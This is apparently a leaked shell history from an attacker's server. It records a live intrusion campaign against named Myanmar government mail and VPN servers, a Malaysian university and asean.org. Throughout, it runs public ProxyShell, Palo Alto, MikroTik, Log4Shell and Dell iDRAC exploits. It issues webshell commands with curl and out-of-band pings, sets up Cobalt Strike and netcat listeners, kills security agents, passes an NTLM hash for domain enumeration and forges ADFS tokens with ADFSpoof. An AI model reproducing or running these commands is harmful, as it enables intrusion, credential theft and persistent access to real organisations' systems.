```
python2 exchange.py mail.budget.gov.mm administrator@budget.gov.mm
git clone https://github.com/Udyz/proxyshell-auto.git
cd proxyshell-auto/
ls
python3 proxyshell.py
python3 proxyshell.py  -t mail.budget.gov.mm
cd ../
git clone https://github.com/horizon3ai/proxyshell.git
cd proxyshell
ls
python3 exchange_proxyshell.py
pip3 install tldextract
python3 exchange_proxyshell.py
python3 exchange_proxyshell.py  -u https://mail.budget.gov.mm/
cd ..//
git clone https://github.com/hosch3n/ProxyVulns.git
cd ProxyVulns/
ls
python3 26855.py https://mail.budget.gov.mm
python3 26855.py mail.budget.gov.mm
python3 31207.py mail.budget.gov.mm ./users.txt \\127.0.0.1\C$\inetpub\wwwroot\aspnet_client\system_web\log.aspx
python3 26855.py https://mail.budget.gov.mm
python3 26855.py mail.budget.gov.mm
curl -k https://mail.budget.gov.mm/aspnet_client/api.aspx -d 'api=Response.Write(new
ActiveXObject("WScript.Shell").exec("cmd /c whoami").stdout.readall())'
curl -k https://mail.budget.gov.mm/aspnet_client/api.aspx -d 'api=Response.Write(new
ActiveXObject("WScript.Shell").exec("cmd /c ping -n 1
sb.vn1k.3c130ea5d8d2d3daca7f6808cdf0f148.com").stdout.readall())'
cd ProxyVulns/
python3 26855.py mail.ird.gov.mm
python3 31207.py mail.ird.gov.mm ./users.txt \\127.0.0.1\C$\inetpub\wwwroot\aspnet_client\system_web\log.aspx
python3 26855.py mail.ird.gov.mm
python3 31196.py mail.ird.gov.mm
python3 31207.py mail.ird.gov.mm
python3 34473.py mail.ird.gov.mm
curl -k https://mail.budget.gov.mm/aspnet_client/api.aspx -d 'api=Response.Write(new
ActiveXObject("WScript.Shell").exec("cmd /c dir
C:\\inetpub\\wwwroot\\aspnet_client\\system_web\Debug.aspx").stdout.readall())'
curl -k https://mail.budget.gov.mm/aspnet_client/api.aspx -d 'api=Response.Write(new
ActiveXObject("WScript.Shell").exec("cmd /c dir
C:\\inetpub\\wwwroot\\aspnet_client\\system_web\").stdout.readall())'
curl -k https://mail.budget.gov.mm/aspnet_client/api.aspx -d 'api=Response.Write(new
ActiveXObject("WScript.Shell").exec("cmd /c dir
C:\\inetpub\\wwwroot\\aspnet_client\\system_web\Debug.aspx").stdout.readall())'
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
curl https://edmsvpn.gov.mm/sslmgr
curl -s -I https://edmsvpn.gov.mm//global-protect/portal/css/login.css | grep Last-Modified
curl -s -I https://edmsvpn.gov.mm/global-protect/portal/css/login.css | grep Last-Modified
curl -s -d 'scep-profile-name=%9999999c' https://edmsvpn.gov.mm/sslmgr >/dev/null
time curl -s -d 'scep-profile-name=%9999999c' https://edmsvpn.gov.mm/sslmgr >/dev/null
time curl -s -d 'scep-profile-name=%99999999c' https://edmsvpn.gov.mm/sslmgr >/dev/null
time curl -s -d 'scep-profile-name=%999999999c' https://edmsvpn.gov.mm/sslmgr >/dev/null
time curl -s -d 'scep-profile-name=%9999999999c' https://edmsvpn.gov.mm/sslmgr >/dev/null
time curl -s -d 'scep-profile-name=%99999999999c' https://edmsvpn.gov.mm/sslmgr >/dev/null
time curl -s -d 'scep-profile-name=%999999999999c' https://edmsvpn.gov.mm/sslmgr >/dev/null
python2
python2 1.py
pip2 install pwn
python2 1.py
python3 1.py
```

```
pip2 install pwn
python3 1.py
pip3 install pwn
python3 1.py
python2 1.py
git clone https://github.com/surajraghuvanshi/PaloAltoRceDetectionAndExploit.git
cd PaloAltoRceDetectionAndExploit/
ls
python paloAltoExploit.py
python2 paloAltoExploit.py
python2 paloAltoExploit.py  https://edmsvpn.gov.mm/
python2 paloAltoExploit.py  https://edmsvpn.gov.mm
python2 paloAltoExploit.py  edmsvpn.gov.mm
python2 paloAltoExploit.py edmsvpn.gov.mm
curl -skI https://edmsvpn.gov.mm/global-protect/login.esp
git clone https://github.com/noperator/panos-scanner.git
cd ../
git clone https://github.com/noperator/panos-scanner.git
cd panos-scanner/
python3 panos-scanner.py
python3 panos-scanner.py  -s -t https://edmsvpn.gov.mm/global-protect/login.esp
python3 panos-scanner.py  -s -t https://edmsvpn.gov.mm/global-protect/login.esp | jq '.match'
curl -skI https://edmsvpn.gov.mm/global-protect/login.esp
curl -sI https://edmsvpn.gov.mm/global-protect/login.esp
curl -I https://edmsvpn.gov.mm/global-protect/login.esp
curl -kI https://edmsvpn.gov.mm/global-protect/login.esp
curl -k https://edmsvpn.gov.mm/global-protect/login.esp
curl -skI https://edmsvpn.gov.mm/global-protect/login.esp
curl -skI https://203.81.88.226/
curl -skI https://203.81.88.226//global-protect/login.esp
curl -skI https://203.81.88.226/global-protect/login.esp
curl -skI https://203.81.88.226/global-protect/
curl -skI https://203.81.88.226/sslmgr
python3 panos-scanner.py -s -t https://edmsvpn.gov.mm/global-protect/login.esp
python3 panos-scanner.py -s -t https://example.com/global-protect/portal/images/favicon.ico
python3 panos-scanner.py -s -t -v https://example.com/global-protect/portal/images/favicon.ico
python3 panos-scanner.py -s -t https://example.com/global-protect/portal/images/favicon.ico
python3 panos-scanner.py -s -t https://edmsvpn.gov.mm/global-protect/portal/images/favicon.ico
python3 panos-scanner.py -s -t https://edmsvpn.gov.mm
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
curl -d 'scep-profile-name=ping test.181k.3c130ea5d8d2d3daca7f6808cdf0f148.com | perl -' https://global-
protect/sslmgr
curl -d 'scep-profile-name=ping test.181k.3c130ea5d8d2d3daca7f6808cdf0f148.com | perl -'
https://edmsvpn.gov.mm//sslmgr
curl -dk 'scep-profile-name=ping test.181k.3c130ea5d8d2d3daca7f6808cdf0f148.com | perl -'
https://edmsvpn.gov.mm//sslmgr
curl -d -k 'scep-profile-name=ping test.181k.3c130ea5d8d2d3daca7f6808cdf0f148.com | perl -'
https://edmsvpn.gov.mm//sslmgr
curl -d --ssl-no-revoke 'scep-profile-name=ping test.181k.3c130ea5d8d2d3daca7f6808cdf0f148.com | perl -'
https://edmsvpn.gov.mm//sslmgr
curl -dI 'scep-profile-name=ping test.181k.3c130ea5d8d2d3daca7f6808cdf0f148.com | perl -'
https://edmsvpn.gov.mm//sslmgr
ls
cd panos-scanner/
ls
python3 panos-scanner.py
python3 panos-scanner.py  -s -t https://vpn.nuwavenow.com
curl -H "Cookie: PHPSESSID=hacked;" https://edmsvpn.gov.mm//php/utils/debug.php
curl -H "Cookie: PHPSESSID=hacked;" https://edmsvpn.gov.mm/php/utils/debug.php
curl -sH "Cookie: PHPSESSID=hacked;" https://edmsvpn.gov.mm/php/utils/debug.php
curl -kH "Cookie: PHPSESSID=hacked;" https://edmsvpn.gov.mm/php/utils/debug.php
```

```
1.sh
./1.sh
chmod +x 1.sh
./1.sh
./1.sh https://edmsvpn.gov.mm/
./1.sh https://edmsvpn.gov.mm
curl -s --connect-timeout 3 -k -vvv
" https://edmsvpn.gov.mm/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27\";user|s.\"1337\";"
-b /tmp/pan_cookie -s -H "User-Agent: CVE-2017-15944/PoC/v1 -
https://nivel4.com" 2>/dev/null|grep "Success" >/dev/null
curl -s --connect-timeout 3 -k -vvv
" https://edmsvpn.gov.mm/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27\";user|s.\"1337\";"
curl -s --connect-timeout 3 -k -vvv "https://edmsvpn.gov.mm/esp/cms_changeDeviceContext.esp?
device=aaaaa:a%27\";user|s.\"1337\";
./1.sh https://edmsvpn.gov.mm
python3 1.py
python2 1.py
python2 1.py edmsvpn.gov.mm 443
python2 1.py https://edmsvpn.gov.mm
python2 1.py https://edmsvpn.gov.mm 443
python2 1.py edmsvpn.gov.mm 443
python2 1.py edmsvpn.gov.mm 80
python2 1.py edmsvpn.gov.mm 443
python2 1.py
python2 1.py edmsvpn.gov.mm
python2 1.py https://edmsvpn.gov.mm
python2 1.py https://edmsvpn.gov.mm/
python3 1.py https://edmsvpn.gov.mm/
pip3 install format
pip2 install format
proxychains4
proxychins4
apt install proxychains4
proxychains4
vim /etc/proxychains4.conf
git clone https://github.com/0ki/mikrotik-tools
cd mikrotik-tools/
ls
cd exploit-backup/
ls
proxychains4 exploit_full.sh
vim /etc/proxychains4.conf
proxychains4 exploit_full.sh
proxychains4 curl ip.sb
vim /etc/proxychains4.conf
proxychains4 curl ip.sb
vim /etc/proxychains4.conf
proxychains4 exploit_full.sh
exploit_full.sh
./exploit_full.sh
proxychains4 ./exploit_full.sh
proxychains4 exploit_full.sh
vim /etc/proxychains4.conf
proxychains4 ./exploit_full.sh
proxychains4 ssh admin@100.96.100.33
proxychains4 ./exploit_full.sh
whoami
sadasd
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
proxychains4 ./exploit_full.sh
cd mikrotik-tools/
```

```
cd exploit-backup/
proxychains4 ./exploit_full.sh
export all_proxy=abc:abc@95.111.241.172:8111
curl ip.sb
export all_proxy=socks5://abc:abc@95.111.241.172:8111
curl ip.sb
proxychains4 ./exploit_full.sh
./exploit_b.py
pthon ./exploit_b.py
python ./exploit_b.py
python3 ./exploit_b.py
python2 ./exploit_b.py
./exploit_b.py
./exploit_full.sh
cd mikrotik-tools/
cd exploit-backup/
proxychains4 ./exploit_full.sh
cd ../
cd o
cd ob
cd ob/
python2 oball.py
python3 oball.py
python2 oball.py
pip2 install pycrypto
pip3 install pycryptodomex
python3 oball.py
pip2 install pycryptodome
python2 oball.py
screen ls
exit
screen -ls
screen -S ob
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
screen -r ob
cd /root/ProxyVulns
python3 26855.py
python3 26855.py https://autodiscover.oagmac.gov.mm/
python3 26855.py autodiscover.oagmac.gov.mm
python3 31196.py
python3 31207.py
python3 34473.py
python3 34473.py https://autodiscover.oagmac.gov.mm/
python3 34473.py autodiscover.oagmac.gov.mm
python 26855.py autodiscover.oagmac.gov.mm
python3 26855.py autodiscover.oagmac.gov.mm
cd ../
python3 exchange.py
python2 exchange.py
python2 exchange.py autodiscover.oagmac.gov.mm administrator
cd proxyshell
ls
python3 exchange_proxyshell.py
python3 exchange_proxyshell.py -h
python3 exchange_proxyshell.py -u https://mail.oagmac.gov.mm/ -e administrator
cd proxyshell
python3 exchange_proxyshell.py -u https://mail.oagmac.gov.mm/ -e administrator
cd ../
cd proxyshell-auto/
ls
python3 proxyshell.py
```

```
python3 proxyshell.py -t mail.oagmac.gov.mm
cd ../
git clone https://github.com/je6k/CVE-2021-34473-Exchange-ProxyShell.git
cd CVE-2021-34473-Exchange-ProxyShell/
ls
python3 wsman_shell.py
python3 wsman_shell.py  mail.oagmac.gov.mm administrator@mail.oagmac.gov.mm
python3 wsman_shell.py  mail.oagmac.gov.mm administrator@mail.oagmac.gov.mm
VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZhdW5nYXVuZ0BvYWdtYWMuZ292Lm1tVS5TLTEtNS0yMS0xMjk0Mjk3NDM2LTE2NjYxNDAxNjctMTA0MT
IyNjM1Mi01ODA4RwEAAAAHAAAADFMtMS01LTMyLTU0NEUAAAAA
python3 wsman_shell.py  mail.oagmac.gov.mm administrator@mail.oagmac.gov.mm
VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZhdW5nYXVuZ0BvYWdtYWMuZ292Lm1tVS5TLTEtNS0yMS0xMjk0Mjk3NDM2LTE2NjYxNDAxNjctMTA0MT
IyNjM1Mi01ODA4RwEAAAAHAAAADFMtMS01LTMyLTU0NEUAAAAA--
python3 wsman_shell.py  mail.oagmac.gov.mm administrator@mail.oagmac.gov.mm
VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZhdW5nYXVuZ0BvYWdtYWMuZ292Lm1tVS5TLTEtNS0yMS0xMjk0Mjk3NDM2LTE2NjYxNDAxNjctMTA0MT
IyNjM1Mi01ODA4RwEAAAAHAAAADFMtMS01LTMyLTU0NEUAAAAA==
python3 wsman_shell.py  mail.oagmac.gov.mm administrator@mail.oagmac.gov.mm
VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZhdW5nYXVuZ0BvYWdtYWMuZ292Lm1tVS5TLTEtNS0yMS0xMjk0Mjk3NDM2LTE2NjYxNDAxNjctMTA0MT
IyNjM1Mi01ODA4RwEAAAAHAAAADFMtMS01LTMyLTU0NEUAAAAA== shell
python3 wsman_shell.py  mail.oagmac.gov.mm administrator@mail.oagmoagmac.gov.mm
VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZhdW5nYXVuZ0BvYWdtYWMuZ292Lm1tVS5TLTEtNS0yMS0xMjk0Mjk3NDM2LTE2NjYxNDAxNjctMTA0MT
IyNjM1Mi01ODA4RwEAAAAHAAAADFMtMS01LTMyLTU0NEUAAAAA== shell
python3 wsman_shell.py  https://mail.oagmac.gov.mm administrator@oagmoagmac.gov.mm
VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZhdW5nYXVuZ0BvYWdtYWMuZ292Lm1tVS5TLTEtNS0yMS0xMjk0Mjk3NDM2LTE2NjYxNDAxNjctMTA0MT
IyNjM1Mi01ODA4RwEAAAAHAAAADFMtMS01LTMyLTU0NEUAAAAA== shell
cd ../
cd proxyshell
python3 exchange_proxyshell.py -u https://mail.oagmac.gov.mm/ -e administrator
python3 exchange_proxyshell.py -u https://mail.oagmac.gov.mm/ -e administrator shell
python3 exchange_proxyshell.py -h
python3 exchange_proxyshell.py -u https://mail.oagmac.gov.mm/ -e administrator -c whoami
python3 exchange_proxyshell.py -u https://mail.oagmac.gov.mm/ -e administrator -c cmd.exe /c whoami
python3 exchange_proxyshell.py -u https://mail.oagmac.gov.mm/ -e administrator -c 'cmd.exe /c whoami'
python3 exchange_proxyshell.py -u https://mail.oagmac.gov.mm/ -e administrator -c 'c:/windows/system32/cmd.exe /c
whoami'
python3 exchange_proxyshell.py -u https://mail.oagmac.gov.mm/ -e administrator -c 'powershell.exe -c whoami'
python3 exchange_proxyshell.py -u https://mail.oagmac.gov.mm/ -e administrator
cd ../
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
screen -r ob
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
screen -r ob
screen -ls
screen -socks5
screen -r socks5
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
screen -r socks5
screen -r ob
ls
tar 0zcvf /root/ob.tar.gz /root/ob
tar -zcvf /root/ob.tar.gz /root/ob
cd ob/
ls | awk -F"[^0-9]+" '{if($(NF-1)>200) print $0;}' | xargs -I {} rm -f "{}"
tar -zcvf /root/ob-05.tar.gz /root/ob
nc -lvvp 1234
apt-get install nc
apt-get install netcat
nc -lvvp 1234
nc -lvp 1234
nc -lvnp 1234
apt-get install openconnect
```

```
openconnect 103.89.49.202 ,Äîprotocol=gp
openconnect 103.89.49.202 --protocol=gp
openconnect edmsvpn.gov.mm --protocol=gp
screen -S vpn
python
python3 -m http.server 8099
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
screen -s ob
screen -r ob
openconnect 103.89.49.202 --protocol=gp
python3 -m http.server 8099
wget https://raw.githubusercontent.com/tennc/webshell/master/jsp/JspSpy.jsp
ls
python3 -m http.server 8099
ls
mv JspSpy.jsp 1.txt
cat ./1.txt
python3 -m http.server 8099
python3 -m http.server 8089
ls
apt-get install nginx nginx-extras
git clone https://github.com/threatexpress/cs2modrewrite
cd cs2modrewrite
python3
ls
ifconfig
ls
ls mikrotik-tools/
ls
ls ob
screen -ls
exit
ls
screen -l
exit
ls
mkdir cs
ls
cd cs
ls
chmod +x teamserver
l;s
./teamserver
java
apt install openjdk-17-jdk
./teamserver
ls
mv cobaltstrike4.4.jar cobaltstrike.jar
./teamserver
ls
./teamserver
chmod +x teamserver
./teamserver
apt install openjdk-17-jdk
java
ls
./teamserver
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=574 -Djavax.net.ssl.keyStore=./cobaltstrike.store -
Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -
javaagent:CSAgent.jar=5e98194a01c6b48fa582a6a9fcbb92d6 -classpath ./cobaltstrike.jar server.TeamServer
rm cobaltstrike.
```

```
rm cobaltstrike.store
ls
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=574 -Djavax.net.ssl.keyStore=./cobaltstrike.store -
Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -
javaagent:CSAgent.jar=5e98194a01c6b48fa582a6a9fcbb92d6 -classpath ./cobaltstrike.jar server.TeamServer
java -version
apt remove openjdk-17-jdk
java
apt remove openjdk-17-jdk-headless
java
apt remove openjdk-17-jre
apt remove openjdk-17-jre-headless
java
ls
java
apt install openjdk-8-jdk
./teamserver
./teamserver 2.profile CrazyThursdayVme50
./teamserver 8.210.141.104 2.profile CrazyThursdayVme50
./teamserver 8.210.141.104 CrazyThursdayVme50 2.profile
screa
screas
apt install screen
apt install screen
screen
exit
ls
screen -S cs
wget https://raw.githubusercontent.com/xl7dev/WebShell/master/Jsp/BackerHack%20JSP%20Manage-System%201.0.jsp
mv 'BackerHack JSP Manage-System 1.0.jsp' 1.txt
nc -lvp 7777
nc -lvnp 7777
nc -lvnp 8080
nc -lvnp 443
python3 -m http.server 8099
wget https://raw.githubusercontent.com/xl7dev/WebShell/master/Jsp/login.jsp
mv login.jsp 1.txt
python3 -m http.server 8099
ls
screen -r cs
ls
screen -r cs
ls
screen -r cs
screen -r ob
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
git clone https://github.com/black9/Log4shell_JNDIExploit.git
unzip JNDIExploit.v1.2.zip
apt install unzip
ls
cd Log4shell_JNDIExploit/
ls
unzip JNDIExploit.v1.2.zip
ls
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 8.210.141.104
ls
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 8.210.141.104
ls
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 8.210.141.104
git clone http://git.msecth.com/root/JNDIExploit.git
ls
```

```
cd JNDIExploit/
ls
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 8.210.141.104
python3 -m http.server 8099
exit
screen -r ob
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
screen -r ob
screen -R ob
screen -r ob
screen -D ob
screen -r ob
ls
screen -r cs
cd cs
ls
nc -lvnp 8.210.141.104 8080
nc -lvnp 8080
git clone https://github.com/r0ckysec/CVE-2021-21985.git
git
git clone https://github.com/r0ckysec/CVE-2021-21985.git
git clone
git clone https://github.com/r0ckysec/CVE-2021-21985.git
chattr -i /etc/sysctl.conf
git clone https://github.com/r0ckysec/CVE-2021-21985.git
lsattr /etc/sysctl.conff
lsattr /etc/sysctl.conf
git
java
unzip CVE-2021-21985-main.zip
cd CVE-2021-21985-main/
ls
java -jar JDNIInjection-Bypass.jar 1099 8.210.141.104 8080
ls
chmod 777 JNDIInjection-Bypass.jar
ls
java -jar JDNIInjection-Bypass.jar 1099 8.210.141.104 8080
java -jar JDNIInjection-Bypass.jar
java -jar ./JDNIInjection-Bypass.jar
ls
JNDIInjection-Bypass.jar
java -jar JNDIInjection-Bypass.jar
java -jar JNDIInjection-Bypass.jar 1099 8.210.141.104 8080
cd cs
cat start.sh
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 -m http.server 8099
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
screen -r ob
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
ps -ef
screen -r ob
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 -m http.server 8099
cd j
cd Log4shell_JNDIExploit/
ls
cd JNDIExploit/
java -jar JNDIInjection-Bypass.jar 1099 8.210.141.104 8080
ls
```

```
java -jar JNDIExploit-1.3-SNAPSHOT.jar 1099 8.210.141.104 8080
4shell_JNDIExploit/
cd ../
java -jar JNDIInjection-Bypass.jar 1099 8.210.141.104 8080
ls
cd JNDIExploit/
java -jar JNDIInjection-Bypass.jar 1099 8.210.141.104 8080
ls
java -jar JNDIExploit-1.3-SNAPSHOT.jar 1099 8.210.141.104 8080
java -jar JNDIExploit-1.3-SNAPSHOT.jar
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i -l -p
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 8.210.141.104 -l 1389 -p 3456
screen -r ob
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 -m http.server 8099
cd Log4shell_JNDIExploit/
ls
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 8.210.141.104 -p 8888
python3 -m http.server 8099
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
ls -la root
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 -m http.server 8099
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 -m http.server 8099
cd Log4shell_JNDIExploit/
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 8.210.141.104 -p 8888
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
cd Log4shell_JNDIExploit/
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 8.210.141.104 -p 8888
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 -m http.server 8099
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
cd Log4shell_JNDIExploit/
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 8.210.141.104 -p 8888
python3 -m http.server 8099
python3 -m http.server 8080
nc -lnvp 80
nc -lnvp 443
nc -lnvp 81
nc -lnvp 53
nc -lnvp 81
python3 -m http.server 8099
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 -m http.server 8099
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
id
whoami
python3 -m http.server 8098
python3 -m http.server 8099
python3 -m http.server 8098
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
sh4-linux-gnu-gcc-11
apt-get install gcc-10-sh4-linux-gnu
sh4-linux-gnu-gcc-11
sh4-linux-gnu-gcc-10
apt install gcc-11-sh4-linux-gnu`
apt install gcc-11-sh4-linux-gnu
git clone https://github.com/mgargiullo/cve-2018-1207.git
git
```

```
git clone https://github.com/mgargiullo/cve-2018-1207.git
cd 1
git clone https://github.com/mgargiullo/cve-2018-1207.git
cd../
cd ../
git
cd /tmp/
git
git clone https://github.com/mgargiullo/cve-2018-1207.git
apt-get uninstall git
apt-get remove git
apt install git
cd ../
git
apt-get update
apt install git
git
git clone https://github.com/mgargiullo/cve-2018-1207.git
ls
whereis git
ll /usr//bin/git
git clone
git clone https://github.com/mgargiullo/cve-2018-1207
ls
cd
git clone https://github.com/mgargiullo/cve-2018-1207
ll
cd cve-2018-1207/
ll
python2
python2 cve-2018-1207.py game.u.com.my 443 sf85.3c130ea5d8d2d3daca7f6808cdf0f148.com 80
ps
ps -ef
kill 2214923
service aegis stop
ps -ef
python2 cve-2018-1207.py game.u.com.my 443 sf85.3c130ea5d8d2d3daca7f6808cdf0f148.com 80
apt-get install gcc-11-sh4-linux-gnu
python2 cve-2018-1207.py game.u.com.my 443 sf85.3c130ea5d8d2d3daca7f6808cdf0f148.com 80
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
ps -ef | grep -v grep | grep -i aliyundun
ps -ef | grep -v grep | grep -i aliyundun | awk '{print $2}' | xargs kill -9
ps -ef | grep -v grep | grep -i aliyundun
ps -ef | grep -v grep | grep -i aliyundun | awk '{print $2}'
ps -ef | grep -v grep | grep -i aliyundun | awk '{print $2}' | xargs kill -9
reboot
cd Neo-reGeorg/
python3 neoreg.py -k password5 -u https://studentrepo.iium.edu.my/wsh-g.alljsp/tomcat.jsp -p 6678 -l 0.0.0.0
cd ob/
python2 oball.py

ls -la
python2 oball.py
mkdir to_del
ls | awk -F"[^0-9]+" '{if($(NF-1)>20) print $0;}' | xargs -I {} mv "{}" to_del
tar zcvf ob-04.tar.gz /root/ob/to_del/2022-04
mv ob-04.tar.gz /root
ls
tar zcvf ob-03.tar.gz /root/ob/2022-03
mv ob-03.tar.gz /root
cd ../
```

```
mv ob-03.tar.gz ob-2022-03.tar.gz
mv ob-05.tar.gz ob-2022-05.tar.gz
mv ob-04.tar.gz ob-2022-04.tar.gz
cd ob
python2 oball.py
./frps -c frps.ini
cd frp_0.43.0_linux_amd64/
ls
cat frps.ini
./frpc -c frpc.ini
ls
cd cs
ls
./teamserver
echo ./teamserver 8.210.141.104 CrazyThursdayVme50 2.profile > start.sj
ls
cat start.sj
mv start.sj start.shj
mv start.shj start.shg
mv start.shg start.sh
ls
chmod +x start.sh
ls
./sd
./start.sh
ls
rm cobaltstrike.jar
ls
./start.sh
ls
ls data/
rm -r ./logs/
ls
./start.sh
cat start.sh
./start.sh
nc -v -l -p 5500
nc -v -l -p -n 8087
nc -lnvp 8087
python -m http.server 8099
python3 -m http.server 8099
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
ps -ef | grep -v grep | grep -i aliyundun | awk '{print $2}'
ps -ef | grep -v grep | grep -i aliyundun | awk '{print $2}' | xargs kill -9
cd cve-2018-1207/
python2 cve-2018-1207.py game.u.com.my 443 sf85.3c130ea5d8d2d3daca7f6808cdf0f148.com 80
python2 cve-2018-1207.py game.u.com.my 443 8.210.141.104 8087
cd ../
git clone https://github.com/mgargiullo/cve-2018-1207.git
cd cve-2018-1207/
git clone https://github.com/mgargiullo/cve-2018-1207.git
python2 cve-2018-1207.py game.u.com.my 443 8.210.141.104 8087
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 -m http.server 8099
sreen -£ls
screen -ls
screen -S cs
python3 -m http.server 8099
curl 3c130ea5d8d2d3daca7f6808cdf0f148.com/ssrf/127.0.0.1/
python3 -m http.server 8099
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
```

```
cat TKSKey.txt | base64 -d > TKSKey.bin
cat DKMkey.txt | tr -d "-" | xxd -r -p > DKMkey.bin
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
git clone https://github.com/the-useless-one/pywerview.git
cd pywerview/
ls
python3 pywerview.py
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
cd pywerview/
pip3 install -r requirements.txt
python3 pywerview.py
sudo git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/
sudo pip3 install .
sudo python3 setup.py install
cd ../
sudo python3 setup.py install
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
cd pywerview/
python3 pywerview.py
pip3 install bs4
python3 pywerview.py
cd pywerview/
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
cd pywerview/
python3 pywerview.py
proxychains4 python3 pywerview.py get-netuser -w asean.org -u Cahyono_adm --hashes
bbf585b6529fd7c39f157859f8ed9360 -t 10.1.2.5
proxychains4 python3 pywerview.py get-netuser -w asean.org -u Cahyono_adm --hashes
bbf585b6529fd7c39f157859f8ed9360 -t 10.1.2.5 >> 1.txt
python3 -m http.server 8099
pip uninstall cryptography
pip3 uninstall cryptography
git clone https://github.com/dmb2168/cryptography.git
cd cryptography
pip install -e .
pip3 install -e .
pip3 install pyopenssl --upgrade -e .
git clone https://github.com/mandiant/ADFSpoof.git
cd ../
https://github.com/mandiant/ADFSpoof.git
git clone https://github.com/mandiant/ADFSpoof.git
cd ADFSpoof/
ls
python3 ADFSpoof.py
pip3 install requirements.txt
pip3 install -r requirements.txt
pip3 install pycryptodome
python3 ADFSpoof.py
pip3 install pycryptodome
pip3 install -r requirements.txt
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
pip3 install -r requirements.txt
cd ADFSpoof/
pip3 install -r requirements.txt
cd ../
cd cryptography/
pip3 install pyopenssl --upgrade -e .
pip3 install cryptography
cd ../
cd ADFSpoof/
```

```
python3 ADFSSpoof.py -b TKSKey.bin PKey.bin --server stealthbitslab.com o365 --upn ADA_FOX@stealthbitslab.com --
objectguid {f37580cd-XXXX-XXXX-XXXX-6231f903a8c1}
python3 ADFSpoof.py -b TKSKey.bin PKey.bin --server stealthbitslab.com o365 --upn ADA_FOX@stealthbitslab.com --
objectguid {f37580cd-XXXX-XXXX-XXXX-6231f903a8c1}
pip3 install lxml
python3 ADFSpoof.py -b TKSKey.bin PKey.bin --server stealthbitslab.com o365 --upn ADA_FOX@stealthbitslab.com --
objectguid {f37580cd-XXXX-XXXX-XXXX-6231f903a8c1}
pip3 install signxml
python3 ADFSpoof.py -b TKSKey.bin PKey.bin --server stealthbitslab.com o365 --upn ADA_FOX@stealthbitslab.com --
objectguid {f37580cd-XXXX-XXXX-XXXX-6231f903a8c1}
python3 ADFSpoof.py -b /root/TKSKey.bin /root/DKMkey.bin --server stealthbitslab.com o365 --upn
ADA_FOX@stealthbitslab.com --objectguid {f37580cd-XXXX-XXXX-XXXX-6231f903a8c1}
python3 ADFSpoof.py -b /root/TKSKey.bin /root/DKMkey.bin --server asean.org o365 --upn Cahyono_adm@asean.org --
objectguid {8edf4b74-a58b-44ed-9cb1-6efb5f7a7d79}
cd ../
pip uninstall cryptography
pip3 uninstall cryptography
cd cryptography
pip3 install -e .
pip3 install pyopenssl --upgrade -e .
python3 -version
python3 -V
pip3 install cryptography
cd ../
cd ADFSpoof/
python3 ADFSpoof.py -b /root/TKSKey.bin /root/DKMkey.bin --server asean.org o365 --upn Cahyono_adm@asean.org --
